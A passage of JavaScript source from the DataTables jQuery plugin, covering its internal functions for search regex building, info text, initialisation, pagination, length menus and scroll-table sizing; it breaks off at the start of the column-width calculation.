/**
* Build a regular expression object suitable for searching a table
* @param {string} sSearch string to search for
* @param {bool} bRegex treat as a regular expression or not
* @param {bool} bSmart perform smart filtering or not
* @param {bool} bCaseInsensitive Do case insensitive matching or not
* @returns {RegExp} constructed object
* @memberof DataTable#oApi
*/
function _fnFilterCreateSearch( sSearch, bRegex, bSmart, bCaseInsensitive )
{
var asSearch, sRegExpString;
if ( bSmart )
{
/* Generate the regular expression to use. Something along the lines of:
* ^(?=.*?\bone\b)(?=.*?\btwo\b)(?=.*?\bthree\b).*$
*/
asSearch = bRegex ? sSearch.split( ' ' ) : _fnEscapeRegex( sSearch ).split( ' ' );
sRegExpString = '^(?=.*?'+asSearch.join( ')(?=.*?' )+').*$';
return new RegExp( sRegExpString, bCaseInsensitive ? "i" : "" );
}
else
{
sSearch = bRegex ? sSearch : _fnEscapeRegex( sSearch );
return new RegExp( sSearch, bCaseInsensitive ? "i" : "" );
}
}
/**
* Convert raw data into something that the user can search on
* @param {string} sData data to be modified
* @param {string} sType data type
* @returns {string} search string
* @memberof DataTable#oApi
*/
function _fnDataToSearch ( sData, sType )
{
if ( typeof DataTable.ext.ofnSearch[sType] === "function" )
{
return DataTable.ext.ofnSearch[sType]( sData );
}
else if ( sData === null )
{
return '';
}
else if ( sType == "html" )
{
return sData.replace(/[\r\n]/g," ").replace( /<.*?>/g, "" );
}
else if ( typeof sData === "string" )
{
return sData.replace(/[\r\n]/g," ");
}
return sData;
}
/**
* scape a string such that it can be used in a regular expression
* @param {string} sVal string to escape
* @returns {string} escaped string
* @memberof DataTable#oApi
*/
function _fnEscapeRegex ( sVal )
{
var acEscape = [ '/', '.', '*', '+', '?', '|', '(', ')', '[', ']', '{', '}', '\\', '$', '^', '-' ];
var reReplace = new RegExp( '(\\' + acEscape.join('|\\') + ')', 'g' );
return sVal.replace(reReplace, '\\$1');
}
/**
* Generate the node required for the info display
* @param {object} oSettings dataTables settings object
* @returns {node} Information element
* @memberof DataTable#oApi
*/
function _fnFeatureHtmlInfo ( oSettings )
{
var nInfo = document.createElement( 'div' );
nInfo.className = oSettings.oClasses.sInfo;
/* Actions that are to be taken once only for this feature */
if ( !oSettings.aanFeatures.i )
{
/* Add draw callback */
oSettings.aoDrawCallback.push( {
"fn": _fnUpdateInfo,
"sName": "information"
} );
/* Add id */
nInfo.id = oSettings.sTableId+'_info';
}
oSettings.nTable.setAttribute( 'aria-describedby', oSettings.sTableId+'_info' );
return nInfo;
}
/**
* Update the information elements in the display
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnUpdateInfo ( oSettings )
{
/* Show information about the table */
if ( !oSettings.oFeatures.bInfo || oSettings.aanFeatures.i.length === 0 )
{
return;
}
var
oLang = oSettings.oLanguage,
iStart = oSettings._iDisplayStart+1,
iEnd = oSettings.fnDisplayEnd(),
iMax = oSettings.fnRecordsTotal(),
iTotal = oSettings.fnRecordsDisplay(),
sOut;
if ( iTotal === 0 )
{
/* Empty record set */
sOut = oLang.sInfoEmpty;
}
else {
/* Normal record set */
sOut = oLang.sInfo;
}
if ( iTotal != iMax )
{
/* Record set after filtering */
sOut += ' ' + oLang.sInfoFiltered;
}
// Convert the macros
sOut += oLang.sInfoPostFix;
sOut = _fnInfoMacros( oSettings, sOut );
if ( oLang.fnInfoCallback !== null )
{
sOut = oLang.fnInfoCallback.call( oSettings.oInstance,
oSettings, iStart, iEnd, iMax, iTotal, sOut );
}
var n = oSettings.aanFeatures.i;
for ( var i=0, iLen=n.length ; i<iLen ; i++ )
{
$(n[i]).html( sOut );
}
}
function _fnInfoMacros ( oSettings, str )
{
var
iStart = oSettings._iDisplayStart+1,
sStart = oSettings.fnFormatNumber( iStart ),
iEnd = oSettings.fnDisplayEnd(),
sEnd = oSettings.fnFormatNumber( iEnd ),
iTotal = oSettings.fnRecordsDisplay(),
sTotal = oSettings.fnFormatNumber( iTotal ),
iMax = oSettings.fnRecordsTotal(),
sMax = oSettings.fnFormatNumber( iMax );
// When infinite scrolling, we are always starting at 1. _iDisplayStart is used only
// internally
if ( oSettings.oScroll.bInfinite )
{
sStart = oSettings.fnFormatNumber( 1 );
}
return str.
replace(/_START_/g, sStart).
replace(/_END_/g, sEnd).
replace(/_TOTAL_/g, sTotal).
replace(/_MAX_/g, sMax);
}
/**
* Draw the table for the first time, adding all required features
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnInitialise ( oSettings )
{
var i, iLen, iAjaxStart=oSettings.iInitDisplayStart;
/* Ensure that the table data is fully initialised */
if ( oSettings.bInitialised === false )
{
setTimeout( function(){ _fnInitialise( oSettings ); }, 200 );
return;
}
/* Show the display HTML options */
_fnAddOptionsHtml( oSettings );
/* Build and draw the header / footer for the table */
_fnBuildHead( oSettings );
_fnDrawHead( oSettings, oSettings.aoHeader );
if ( oSettings.nTFoot )
{
_fnDrawHead( oSettings, oSettings.aoFooter );
}
/* Okay to show that something is going on now */
_fnProcessingDisplay( oSettings, true );
/* Calculate sizes for columns */
if ( oSettings.oFeatures.bAutoWidth )
{
_fnCalculateColumnWidths( oSettings );
}
for ( i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )
{
if ( oSettings.aoColumns[i].sWidth !== null )
{
oSettings.aoColumns[i].nTh.style.width = _fnStringToCss( oSettings.aoColumns[i].sWidth );
}
}
/* If there is default sorting required - let's do it. The sort function will do the
* drawing for us. Otherwise we draw the table regardless of the Ajax source - this allows
* the table to look initialised for Ajax sourcing data (show 'loading' message possibly)
*/
if ( oSettings.oFeatures.bSort )
{
_fnSort( oSettings );
}
else if ( oSettings.oFeatures.bFilter )
{
_fnFilterComplete( oSettings, oSettings.oPreviousSearch );
}
else
{
oSettings.aiDisplay = oSettings.aiDisplayMaster.slice();
_fnCalculateEnd( oSettings );
_fnDraw( oSettings );
}
/* if there is an ajax source load the data */
if ( oSettings.sAjaxSource !== null && !oSettings.oFeatures.bServerSide )
{
var aoData = [];
_fnServerParams( oSettings, aoData );
oSettings.fnServerData.call( oSettings.oInstance, oSettings.sAjaxSource, aoData, function(json) {
var aData = (oSettings.sAjaxDataProp !== "") ?
_fnGetObjectDataFn( oSettings.sAjaxDataProp )(json) : json;
/* Got the data - add it to the table */
for ( i=0 ; i<aData.length ; i++ )
{
_fnAddData( oSettings, aData[i] );
}
/* Reset the init display for cookie saving. We've already done a filter, and
* therefore cleared it before. So we need to make it appear 'fresh'
*/
oSettings.iInitDisplayStart = iAjaxStart;
if ( oSettings.oFeatures.bSort )
{
_fnSort( oSettings );
}
else
{
oSettings.aiDisplay = oSettings.aiDisplayMaster.slice();
_fnCalculateEnd( oSettings );
_fnDraw( oSettings );
}
_fnProcessingDisplay( oSettings, false );
_fnInitComplete( oSettings, json );
}, oSettings );
return;
}
/* Server-side processing initialisation complete is done at the end of _fnDraw */
if ( !oSettings.oFeatures.bServerSide )
{
_fnProcessingDisplay( oSettings, false );
_fnInitComplete( oSettings );
}
}
/**
* Draw the table for the first time, adding all required features
* @param {object} oSettings dataTables settings object
* @param {object} [json] JSON from the server that completed the table, if using Ajax source
* with client-side processing (optional)
* @memberof DataTable#oApi
*/
function _fnInitComplete ( oSettings, json )
{
oSettings._bInitComplete = true;
_fnCallbackFire( oSettings, 'aoInitComplete', 'init', [oSettings, json] );
}
/**
* Language compatibility - when certain options are given, and others aren't, we
* need to duplicate the values over, in order to provide backwards compatibility
* with older language files.
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnLanguageCompat( oLanguage )
{
var oDefaults = DataTable.defaults.oLanguage;
/* Backwards compatibility - if there is no sEmptyTable given, then use the same as
* sZeroRecords - assuming that is given.
*/
if ( !oLanguage.sEmptyTable && oLanguage.sZeroRecords &&
oDefaults.sEmptyTable === "No data available in table" )
{
_fnMap( oLanguage, oLanguage, 'sZeroRecords', 'sEmptyTable' );
}
/* Likewise with loading records */
if ( !oLanguage.sLoadingRecords && oLanguage.sZeroRecords &&
oDefaults.sLoadingRecords === "Loading..." )
{
_fnMap( oLanguage, oLanguage, 'sZeroRecords', 'sLoadingRecords' );
}
}
/**
* Generate the node required for user display length changing
* @param {object} oSettings dataTables settings object
* @returns {node} Display length feature node
* @memberof DataTable#oApi
*/
function _fnFeatureHtmlLength ( oSettings )
{
if ( oSettings.oScroll.bInfinite )
{
return null;
}
/* This can be overruled by not using the _MENU_ var/macro in the language variable */
var sName = 'name="'+oSettings.sTableId+'_length"';
var sStdMenu = '<select size="1" '+sName+'>';
var i, iLen;
var aLengthMenu = oSettings.aLengthMenu;
if ( aLengthMenu.length == 2 && typeof aLengthMenu[0] === 'object' &&
typeof aLengthMenu[1] === 'object' )
{
for ( i=0, iLen=aLengthMenu[0].length ; i<iLen ; i++ )
{
sStdMenu += '<option value="'+aLengthMenu[0][i]+'">'+aLengthMenu[1][i]+'</option>';
}
}
else
{
for ( i=0, iLen=aLengthMenu.length ; i<iLen ; i++ )
{
sStdMenu += '<option value="'+aLengthMenu[i]+'">'+aLengthMenu[i]+'</option>';
}
}
sStdMenu += '</select>';
var nLength = document.createElement( 'div' );
if ( !oSettings.aanFeatures.l )
{
nLength.id = oSettings.sTableId+'_length';
}
nLength.className = oSettings.oClasses.sLength;
nLength.innerHTML = '<span class="smart-form"><label class="select" style="width:60px">'+oSettings.oLanguage.sLengthMenu.replace( '_MENU_', sStdMenu )+'<i></i></label></span>';
/*
* Set the length to the current display length - thanks to Andrea Pavlovic for this fix,
* and Stefan Skopnik for fixing the fix!
*/
$('select option[value="'+oSettings._iDisplayLength+'"]', nLength).attr("selected", true);
$('select', nLength).bind( 'change.DT', function(e) {
var iVal = $(this).val();
/* Update all other length options for the new display */
var n = oSettings.aanFeatures.l;
for ( i=0, iLen=n.length ; i<iLen ; i++ )
{
if ( n[i] != this.parentNode )
{
$('select', n[i]).val( iVal );
}
}
/* Redraw the table */
oSettings._iDisplayLength = parseInt(iVal, 10);
_fnCalculateEnd( oSettings );
/* If we have space to show extra rows (backing up from the end point - then do so */
if ( oSettings.fnDisplayEnd() == oSettings.fnRecordsDisplay() )
{
oSettings._iDisplayStart = oSettings.fnDisplayEnd() - oSettings._iDisplayLength;
if ( oSettings._iDisplayStart < 0 )
{
oSettings._iDisplayStart = 0;
}
}
if ( oSettings._iDisplayLength == -1 )
{
oSettings._iDisplayStart = 0;
}
_fnDraw( oSettings );
} );
$('select', nLength).attr('aria-controls', oSettings.sTableId);
return nLength;
}
/**
* Recalculate the end point based on the start point
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnCalculateEnd( oSettings )
{
if ( oSettings.oFeatures.bPaginate === false )
{
oSettings._iDisplayEnd = oSettings.aiDisplay.length;
}
else
{
/* Set the end point of the display - based on how many elements there are
* still to display
*/
if ( oSettings._iDisplayStart + oSettings._iDisplayLength > oSettings.aiDisplay.length ||
oSettings._iDisplayLength == -1 )
{
oSettings._iDisplayEnd = oSettings.aiDisplay.length;
}
else
{
oSettings._iDisplayEnd = oSettings._iDisplayStart + oSettings._iDisplayLength;
}
}
}
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Note that most of the paging logic is done in
* DataTable.ext.oPagination
*/
/**
* Generate the node required for default pagination
* @param {object} oSettings dataTables settings object
* @returns {node} Pagination feature node
* @memberof DataTable#oApi
*/
function _fnFeatureHtmlPaginate ( oSettings )
{
if ( oSettings.oScroll.bInfinite )
{
return null;
}
var nPaginate = document.createElement( 'div' );
nPaginate.className = oSettings.oClasses.sPaging+oSettings.sPaginationType;
DataTable.ext.oPagination[ oSettings.sPaginationType ].fnInit( oSettings, nPaginate,
function( oSettings ) {
_fnCalculateEnd( oSettings );
_fnDraw( oSettings );
}
);
/* Add a draw callback for the pagination on first instance, to update the paging display */
if ( !oSettings.aanFeatures.p )
{
oSettings.aoDrawCallback.push( {
"fn": function( oSettings ) {
DataTable.ext.oPagination[ oSettings.sPaginationType ].fnUpdate( oSettings, function( oSettings ) {
_fnCalculateEnd( oSettings );
_fnDraw( oSettings );
} );
},
"sName": "pagination"
} );
}
return nPaginate;
}
/**
* Alter the display settings to change the page
* @param {object} oSettings dataTables settings object
* @param {string|int} mAction Paging action to take: "first", "previous", "next" or "last"
* or page number to jump to (integer)
* @returns {bool} true page has changed, false - no change (no effect) eg 'first' on page 1
* @memberof DataTable#oApi
*/
function _fnPageChange ( oSettings, mAction )
{
var iOldStart = oSettings._iDisplayStart;
if ( typeof mAction === "number" )
{
oSettings._iDisplayStart = mAction * oSettings._iDisplayLength;
if ( oSettings._iDisplayStart > oSettings.fnRecordsDisplay() )
{
oSettings._iDisplayStart = 0;
}
}
else if ( mAction == "first" )
{
oSettings._iDisplayStart = 0;
}
else if ( mAction == "previous" )
{
oSettings._iDisplayStart = oSettings._iDisplayLength>=0 ?
oSettings._iDisplayStart - oSettings._iDisplayLength :
0;
/* Correct for under-run */
if ( oSettings._iDisplayStart < 0 )
{
oSettings._iDisplayStart = 0;
}
}
else if ( mAction == "next" )
{
if ( oSettings._iDisplayLength >= 0 )
{
/* Make sure we are not over running the display array */
if ( oSettings._iDisplayStart + oSettings._iDisplayLength < oSettings.fnRecordsDisplay() )
{
oSettings._iDisplayStart += oSettings._iDisplayLength;
}
}
else
{
oSettings._iDisplayStart = 0;
}
}
else if ( mAction == "last" )
{
if ( oSettings._iDisplayLength >= 0 )
{
var iPages = parseInt( (oSettings.fnRecordsDisplay()-1) / oSettings._iDisplayLength, 10 ) + 1;
oSettings._iDisplayStart = (iPages-1) * oSettings._iDisplayLength;
}
else
{
oSettings._iDisplayStart = 0;
}
}
else
{
_fnLog( oSettings, 0, "Unknown paging action: "+mAction );
}
$(oSettings.oInstance).trigger('page', oSettings);
return iOldStart != oSettings._iDisplayStart;
}
/**
* Generate the node required for the processing node
* @param {object} oSettings dataTables settings object
* @returns {node} Processing element
* @memberof DataTable#oApi
*/
function _fnFeatureHtmlProcessing ( oSettings )
{
var nProcessing = document.createElement( 'div' );
if ( !oSettings.aanFeatures.r )
{
nProcessing.id = oSettings.sTableId+'_processing';
}
nProcessing.innerHTML = oSettings.oLanguage.sProcessing;
nProcessing.className = oSettings.oClasses.sProcessing;
oSettings.nTable.parentNode.insertBefore( nProcessing, oSettings.nTable );
return nProcessing;
}
/**
* Display or hide the processing indicator
* @param {object} oSettings dataTables settings object
* @param {bool} bShow Show the processing indicator (true) or not (false)
* @memberof DataTable#oApi
*/
function _fnProcessingDisplay ( oSettings, bShow )
{
if ( oSettings.oFeatures.bProcessing )
{
var an = oSettings.aanFeatures.r;
for ( var i=0, iLen=an.length ; i<iLen ; i++ )
{
an[i].style.visibility = bShow ? "visible" : "hidden";
}
}
$(oSettings.oInstance).trigger('processing', [oSettings, bShow]);
}
/**
* Add any control elements for the table - specifically scrolling
* @param {object} oSettings dataTables settings object
* @returns {node} Node to add to the DOM
* @memberof DataTable#oApi
*/
function _fnFeatureHtmlTable ( oSettings )
{
/* Check if scrolling is enabled or not - if not then leave the DOM unaltered */
if ( oSettings.oScroll.sX === "" && oSettings.oScroll.sY === "" )
{
return oSettings.nTable;
}
/*
* The HTML structure that we want to generate in this function is:
* div - nScroller
* div - nScrollHead
* div - nScrollHeadInner
* table - nScrollHeadTable
* thead - nThead
* div - nScrollBody
* table - oSettings.nTable
* thead - nTheadSize
* tbody - nTbody
* div - nScrollFoot
* div - nScrollFootInner
* table - nScrollFootTable
* tfoot - nTfoot
*/
var
nScroller = document.createElement('div'),
nScrollHead = document.createElement('div'),
nScrollHeadInner = document.createElement('div'),
nScrollBody = document.createElement('div'),
nScrollFoot = document.createElement('div'),
nScrollFootInner = document.createElement('div'),
nScrollHeadTable = oSettings.nTable.cloneNode(false),
nScrollFootTable = oSettings.nTable.cloneNode(false),
nThead = oSettings.nTable.getElementsByTagName('thead')[0],
nTfoot = oSettings.nTable.getElementsByTagName('tfoot').length === 0 ? null :
oSettings.nTable.getElementsByTagName('tfoot')[0],
oClasses = oSettings.oClasses;
nScrollHead.appendChild( nScrollHeadInner );
nScrollFoot.appendChild( nScrollFootInner );
nScrollBody.appendChild( oSettings.nTable );
nScroller.appendChild( nScrollHead );
nScroller.appendChild( nScrollBody );
nScrollHeadInner.appendChild( nScrollHeadTable );
nScrollHeadTable.appendChild( nThead );
if ( nTfoot !== null )
{
nScroller.appendChild( nScrollFoot );
nScrollFootInner.appendChild( nScrollFootTable );
nScrollFootTable.appendChild( nTfoot );
}
nScroller.className = oClasses.sScrollWrapper;
nScrollHead.className = oClasses.sScrollHead;
nScrollHeadInner.className = oClasses.sScrollHeadInner;
nScrollBody.className = oClasses.sScrollBody;
nScrollFoot.className = oClasses.sScrollFoot;
nScrollFootInner.className = oClasses.sScrollFootInner;
if ( oSettings.oScroll.bAutoCss )
{
nScrollHead.style.overflow = "hidden";
nScrollHead.style.position = "relative";
nScrollFoot.style.overflow = "hidden";
nScrollBody.style.overflow = "auto";
}
nScrollHead.style.border = "0";
nScrollHead.style.width = "100%";
nScrollFoot.style.border = "0";
nScrollHeadInner.style.width = oSettings.oScroll.sXInner !== "" ?
oSettings.oScroll.sXInner : "100%"; /* will be overwritten */
/* Modify attributes to respect the clones */
nScrollHeadTable.removeAttribute('id');
nScrollHeadTable.style.marginLeft = "0";
oSettings.nTable.style.marginLeft = "0";
if ( nTfoot !== null )
{
nScrollFootTable.removeAttribute('id');
nScrollFootTable.style.marginLeft = "0";
}
/* Move caption elements from the body to the header, footer or leave where it is
* depending on the configuration. Note that the DTD says there can be only one caption */
var nCaption = $(oSettings.nTable).children('caption');
if ( nCaption.length > 0 )
{
nCaption = nCaption[0];
if ( nCaption._captionSide === "top" )
{
nScrollHeadTable.appendChild( nCaption );
}
else if ( nCaption._captionSide === "bottom" && nTfoot )
{
nScrollFootTable.appendChild( nCaption );
}
}
/*
* Sizing
*/
/* When x-scrolling add the width and a scroller to move the header with the body */
if ( oSettings.oScroll.sX !== "" )
{
nScrollHead.style.width = _fnStringToCss( oSettings.oScroll.sX );
nScrollBody.style.width = _fnStringToCss( oSettings.oScroll.sX );
if ( nTfoot !== null )
{
nScrollFoot.style.width = _fnStringToCss( oSettings.oScroll.sX );
}
/* When the body is scrolled, then we also want to scroll the headers */
$(nScrollBody).scroll( function (e) {
nScrollHead.scrollLeft = this.scrollLeft;
if ( nTfoot !== null )
{
nScrollFoot.scrollLeft = this.scrollLeft;
}
} );
}
/* When yscrolling, add the height */
if ( oSettings.oScroll.sY !== "" )
{
nScrollBody.style.height = _fnStringToCss( oSettings.oScroll.sY );
}
/* Redraw - align columns across the tables */
oSettings.aoDrawCallback.push( {
"fn": _fnScrollDraw,
"sName": "scrolling"
} );
/* Infinite scrolling event handlers */
if ( oSettings.oScroll.bInfinite )
{
$(nScrollBody).scroll( function() {
/* Use a blocker to stop scrolling from loading more data while other data is still loading */
if ( !oSettings.bDrawing && $(this).scrollTop() !== 0 )
{
/* Check if we should load the next data set */
if ( $(this).scrollTop() + $(this).height() >
$(oSettings.nTable).height() - oSettings.oScroll.iLoadGap )
{
/* Only do the redraw if we have to - we might be at the end of the data */
if ( oSettings.fnDisplayEnd() < oSettings.fnRecordsDisplay() )
{
_fnPageChange( oSettings, 'next' );
_fnCalculateEnd( oSettings );
_fnDraw( oSettings );
}
}
}
} );
}
oSettings.nScrollHead = nScrollHead;
oSettings.nScrollFoot = nScrollFoot;
return nScroller;
}
/**
* Update the various tables for resizing. It's a bit of a pig this function, but
* basically the idea to:
* 1. Re-create the table inside the scrolling div
* 2. Take live measurements from the DOM
* 3. Apply the measurements
* 4. Clean up
* @param {object} o dataTables settings object
* @returns {node} Node to add to the DOM
* @memberof DataTable#oApi
*/
function _fnScrollDraw ( o )
{
var
nScrollHeadInner = o.nScrollHead.getElementsByTagName('div')[0],
nScrollHeadTable = nScrollHeadInner.getElementsByTagName('table')[0],
nScrollBody = o.nTable.parentNode,
i, iLen, j, jLen, anHeadToSize, anHeadSizers, anFootSizers, anFootToSize, oStyle, iVis,
nTheadSize, nTfootSize,
iWidth, aApplied=[], aAppliedFooter=[], iSanityWidth,
nScrollFootInner = (o.nTFoot !== null) ? o.nScrollFoot.getElementsByTagName('div')[0] : null,
nScrollFootTable = (o.nTFoot !== null) ? nScrollFootInner.getElementsByTagName('table')[0] : null,
ie67 = o.oBrowser.bScrollOversize,
zeroOut = function(nSizer) {
oStyle = nSizer.style;
oStyle.paddingTop = "0";
oStyle.paddingBottom = "0";
oStyle.borderTopWidth = "0";
oStyle.borderBottomWidth = "0";
oStyle.height = 0;
};
/*
* 1. Re-create the table inside the scrolling div
*/
/* Remove the old minimised thead and tfoot elements in the inner table */
$(o.nTable).children('thead, tfoot').remove();
/* Clone the current header and footer elements and then place it into the inner table */
nTheadSize = $(o.nTHead).clone()[0];
o.nTable.insertBefore( nTheadSize, o.nTable.childNodes[0] );
anHeadToSize = o.nTHead.getElementsByTagName('tr');
anHeadSizers = nTheadSize.getElementsByTagName('tr');
if ( o.nTFoot !== null )
{
nTfootSize = $(o.nTFoot).clone()[0];
o.nTable.insertBefore( nTfootSize, o.nTable.childNodes[1] );
anFootToSize = o.nTFoot.getElementsByTagName('tr');
anFootSizers = nTfootSize.getElementsByTagName('tr');
}
/*
* 2. Take live measurements from the DOM - do not alter the DOM itself!
*/
/* Remove old sizing and apply the calculated column widths
* Get the unique column headers in the newly created (cloned) header. We want to apply the
* calculated sizes to this header
*/
if ( o.oScroll.sX === "" )
{
nScrollBody.style.width = '100%';
nScrollHeadInner.parentNode.style.width = '100%';
}
var nThs = _fnGetUniqueThs( o, nTheadSize );
for ( i=0, iLen=nThs.length ; i<iLen ; i++ )
{
iVis = _fnVisibleToColumnIndex( o, i );
nThs[i].style.width = o.aoColumns[iVis].sWidth;
}
if ( o.nTFoot !== null )
{
_fnApplyToChildren( function(n) {
n.style.width = "";
}, anFootSizers );
}
// If scroll collapse is enabled, when we put the headers back into the body for sizing, we
// will end up forcing the scrollbar to appear, making our measurements wrong for when we
// then hide it (end of this function), so add the header height to the body scroller.
if ( o.oScroll.bCollapse && o.oScroll.sY !== "" )
{
nScrollBody.style.height = (nScrollBody.offsetHeight + o.nTHead.offsetHeight)+"px";
}
/* Size the table as a whole */
iSanityWidth = $(o.nTable).outerWidth();
if ( o.oScroll.sX === "" )
{
/* No x scrolling */
o.nTable.style.width = "100%";
/* I know this is rubbish - but IE7 will make the width of the table when 100% include
* the scrollbar - which is shouldn't. When there is a scrollbar we need to take this
* into account.
*/
if ( ie67 && ($('tbody', nScrollBody).height() > nScrollBody.offsetHeight ||
$(nScrollBody).css('overflow-y') == "scroll") )
{
o.nTable.style.width = _fnStringToCss( $(o.nTable).outerWidth() - o.oScroll.iBarWidth);
}
}
else
{
if ( o.oScroll.sXInner !== "" )
{
/* x scroll inner has been given - use it */
o.nTable.style.width = _fnStringToCss(o.oScroll.sXInner);
}
else if ( iSanityWidth == $(nScrollBody).width() &&
$(nScrollBody).height() < $(o.nTable).height() )
{
/* There is y-scrolling - try to take account of the y scroll bar */
o.nTable.style.width = _fnStringToCss( iSanityWidth-o.oScroll.iBarWidth );
if ( $(o.nTable).outerWidth() > iSanityWidth-o.oScroll.iBarWidth )
{
/* Not possible to take account of it */
o.nTable.style.width = _fnStringToCss( iSanityWidth );
}
}
else
{
/* All else fails */
o.nTable.style.width = _fnStringToCss( iSanityWidth );
}
}
/* Recalculate the sanity width - now that we've applied the required width, before it was
* a temporary variable. This is required because the column width calculation is done
* before this table DOM is created.
*/
iSanityWidth = $(o.nTable).outerWidth();
/* We want the hidden header to have zero height, so remove padding and borders. Then
* set the width based on the real headers
*/
// Apply all styles in one pass. Invalidates layout only once because we don't read any
// DOM properties.
_fnApplyToChildren( zeroOut, anHeadSizers );
// Read all widths in next pass. Forces layout only once because we do not change
// any DOM properties.
_fnApplyToChildren( function(nSizer) {
aApplied.push( _fnStringToCss( $(nSizer).width() ) );
}, anHeadSizers );
// Apply all widths in final pass. Invalidates layout only once because we do not
// read any DOM properties.
_fnApplyToChildren( function(nToSize, i) {
nToSize.style.width = aApplied[i];
}, anHeadToSize );
$(anHeadSizers).height(0);
/* Same again with the footer if we have one */
if ( o.nTFoot !== null )
{
_fnApplyToChildren( zeroOut, anFootSizers );
_fnApplyToChildren( function(nSizer) {
aAppliedFooter.push( _fnStringToCss( $(nSizer).width() ) );
}, anFootSizers );
_fnApplyToChildren( function(nToSize, i) {
nToSize.style.width = aAppliedFooter[i];
}, anFootToSize );
$(anFootSizers).height(0);
}
/*
* 3. Apply the measurements
*/
/* "Hide" the header and footer that we used for the sizing. We want to also fix their width
* to what they currently are
*/
_fnApplyToChildren( function(nSizer, i) {
nSizer.innerHTML = "";
nSizer.style.width = aApplied[i];
}, anHeadSizers );
if ( o.nTFoot !== null )
{
_fnApplyToChildren( function(nSizer, i) {
nSizer.innerHTML = "";
nSizer.style.width = aAppliedFooter[i];
}, anFootSizers );
}
/* Sanity check that the table is of a sensible width. If not then we are going to get
* misalignment - try to prevent this by not allowing the table to shrink below its min width
*/
if ( $(o.nTable).outerWidth() < iSanityWidth )
{
/* The min width depends upon if we have a vertical scrollbar visible or not */
var iCorrection = ((nScrollBody.scrollHeight > nScrollBody.offsetHeight ||
$(nScrollBody).css('overflow-y') == "scroll")) ?
iSanityWidth+o.oScroll.iBarWidth : iSanityWidth;
/* IE6/7 are a law unto themselves... */
if ( ie67 && (nScrollBody.scrollHeight >
nScrollBody.offsetHeight || $(nScrollBody).css('overflow-y') == "scroll") )
{
o.nTable.style.width = _fnStringToCss( iCorrection-o.oScroll.iBarWidth );
}
/* Apply the calculated minimum width to the table wrappers */
nScrollBody.style.width = _fnStringToCss( iCorrection );
o.nScrollHead.style.width = _fnStringToCss( iCorrection );
if ( o.nTFoot !== null )
{
o.nScrollFoot.style.width = _fnStringToCss( iCorrection );
}
/* And give the user a warning that we've stopped the table getting too small */
if ( o.oScroll.sX === "" )
{
_fnLog( o, 1, "The table cannot fit into the current element which will cause column"+
" misalignment. The table has been drawn at its minimum possible width." );
}
else if ( o.oScroll.sXInner !== "" )
{
_fnLog( o, 1, "The table cannot fit into the current element which will cause column"+
" misalignment. Increase the sScrollXInner value or remove it to allow automatic"+
" calculation" );
}
}
else
{
nScrollBody.style.width = _fnStringToCss( '100%' );
o.nScrollHead.style.width = _fnStringToCss( '100%' );
if ( o.nTFoot !== null )
{
o.nScrollFoot.style.width = _fnStringToCss( '100%' );
}
}
/*
* 4. Clean up
*/
if ( o.oScroll.sY === "" )
{
/* IE7< puts a vertical scrollbar in place (when it shouldn't be) due to subtracting
* the scrollbar height from the visible display, rather than adding it on. We need to
* set the height in order to sort this. Don't want to do it in any other browsers.
*/
if ( ie67 )
{
nScrollBody.style.height = _fnStringToCss( o.nTable.offsetHeight+o.oScroll.iBarWidth );
}
}
if ( o.oScroll.sY !== "" && o.oScroll.bCollapse )
{
nScrollBody.style.height = _fnStringToCss( o.oScroll.sY );
var iExtra = (o.oScroll.sX !== "" && o.nTable.offsetWidth > nScrollBody.offsetWidth) ?
o.oScroll.iBarWidth : 0;
if ( o.nTable.offsetHeight < nScrollBody.offsetHeight )
{
nScrollBody.style.height = _fnStringToCss( o.nTable.offsetHeight+iExtra );
}
}
/* Finally set the width's of the header and footer tables */
var iOuterWidth = $(o.nTable).outerWidth();
nScrollHeadTable.style.width = _fnStringToCss( iOuterWidth );
nScrollHeadInner.style.width = _fnStringToCss( iOuterWidth );
// Figure out if there are scrollbar present - if so then we need a the header and footer to
// provide a bit more space to allow "overflow" scrolling (i.e. past the scrollbar)
var bScrolling = $(o.nTable).height() > nScrollBody.clientHeight || $(nScrollBody).css('overflow-y') == "scroll";
nScrollHeadInner.style.paddingRight = bScrolling ? o.oScroll.iBarWidth+"px" : "0px";
if ( o.nTFoot !== null )
{
nScrollFootTable.style.width = _fnStringToCss( iOuterWidth );
nScrollFootInner.style.width = _fnStringToCss( iOuterWidth );
nScrollFootInner.style.paddingRight = bScrolling ? o.oScroll.iBarWidth+"px" : "0px";
}
/* Adjust the position of the header in case we loose the y-scrollbar */
$(nScrollBody).scroll();
/* If sorting or filtering has occurred, jump the scrolling back to the top */
if ( o.bSorted || o.bFiltered )
{
nScrollBody.scrollTop = 0;
}
}
/**
* Apply a given function to the display child nodes of an element array (typically
* TD children of TR rows
* @param {function} fn Method to apply to the objects
* @param array {nodes} an1 List of elements to look through for display children
* @param array {nodes} an2 Another list (identical structure to the first) - optional
* @memberof DataTable#oApi
*/
function _fnApplyToChildren( fn, an1, an2 )
{
var index=0, i=0, iLen=an1.length;
var nNode1, nNode2;
while ( i < iLen )
{
nNode1 = an1[i].firstChild;
nNode2 = an2 ? an2[i].firstChild : null;
while ( nNode1 )
{
if ( nNode1.nodeType === 1 )
{
if ( an2 )
{
fn( nNode1, nNode2, index );
}
else
{
fn( nNode1, index );
}
index++;
}
nNode1 = nNode1.nextSibling;
nNode2 = an2 ? nNode2.nextSibling : null;
}
i++;
}
}
/**
* Convert a CSS unit width to pixels (e.g. 2em)
* @param {string} sWidth width to be converted
* @param {node} nParent parent to get the with for (required for relative widths) - optional
* @returns {int} iWidth width in pixels
* @memberof DataTable#oApi
*/
function _fnConvertToWidth ( sWidth, nParent )
{
if ( !sWidth || sWidth === null || sWidth === '' )
{
return 0;
}
if ( !nParent )
{
nParent = document.body;
}
var iWidth;
var nTmp = document.createElement( "div" );
nTmp.style.width = _fnStringToCss( sWidth );
nParent.appendChild( nTmp );
iWidth = nTmp.offsetWidth;
nParent.removeChild( nTmp );
return ( iWidth );
}
/**
* Calculate the width of columns for the table
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnCalculateColumnWidths ( oSettings )
{
var iTableWidth = oSettings.nTable.offsetWidth;
